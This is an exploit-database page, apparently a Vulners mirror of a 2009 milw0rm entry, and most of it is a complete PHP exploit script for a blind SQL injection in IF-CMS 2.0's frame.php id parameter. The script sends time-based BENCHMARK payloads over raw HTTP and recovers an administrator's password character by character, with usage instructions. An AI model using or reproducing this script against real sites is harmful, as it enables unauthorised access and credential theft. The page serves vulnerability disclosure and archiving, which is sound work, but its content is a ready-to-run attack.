Lucene search
K

IF-CMS <= 2.0 (frame.php id) Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

IF-CMS Blind SQL Injection Exploit <= 2.0 frame.php i

Code

                                                --+++=======================================================+++--
--+++====== IF-CMS &#60;= 2.0 Blind SQL Injection Exploit ======+++--
--+++=======================================================+++--

&#60;?php

function query ($username, $char, $pos)
{
	//Increase benchmark when exploit prints uncorrect passwords

	$query = &#34;x&#39; OR IF ((ASCII(SUBSTRING((SELECT pass FROM rns_admin WHERE &#34;.
		 &#34;nick = &#39;{$username}&#39;),{$pos},1))={$char}), BENCHMARK(100000000,CHAR(0)),0) OR &#39;1&#39; = &#39;2&#34;;
	$query = str_replace (&#34; &#34;, &#34;%20&#34;, $query);
	$query = str_replace (&#34;&#39;&#34;, &#34;%27&#34;, $query);
	return $query;
}

function exploit ($hostname, $path, $username, $char, $pos)
{
	$char = ord ($char);
	$fp = fsockopen ($hostname, 80);
	$get =  &#34;GET {$path}/frame.php?id=&#34;. query ($username, $char, $pos) . &#34; HTTP/1.1\r\n&#34;.
		&#34;Host: {$hostname}\r\n&#34;.
		&#34;Connection: Close\r\n\r\n&#34;;
		$a = time ();
	fputs ($fp, $get);
	while (!feof ($fp))
		fgets ($fp, 1024);

	fclose ($fp);
	$a = time () - $a;
	if ($a &#62; 4)
		return true;
	else
		return false;

}

function usage ()
{
	echo &#34;\nIF-CMS &#60;= 2.0 Blind SQL Injection Exploit&#34;.
	     &#34;\n[+] Author  : darkjoker&#34;.
	     &#34;\n[+] Site    : http://darkjoker.net23.net&#34;.
	     &#34;\n[+] Download: http://downloads.sourceforge.net/if-cms/If-CMS-2.07.zip?modtime=1088812800&big_mirror=0&#34;.
	     &#34;\n[+] Usage   : php xpl.php &#60;hostname&#62; &#60;path&#62; &#60;username&#62;&#34;.
	     &#34;\n[+] Ex.     : php xpl.php localhost /IF-CMS root&#34;.
	     &#34;\n\n&#34;;
	exit ();
}

if ($argc != 4)
	usage ();
$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
//Edit this keylist when returned password is incomplete and add other characters you want
$key = &#34;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&#34;;
$chr = 0;
$pos = 1;
echo &#34;[+] Password: &#34;;
while ($chr &#60; strlen ($key))
{
	if (exploit ($hostname, $path, $user, $key [$chr], $pos))
	{
		echo $key [$chr];
		$chr = 0;
		$pos++;
	}
	else
		$chr++;
}
echo &#34;\n\n&#34;;
?&#62;

# milw0rm.com [2009-02-09]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation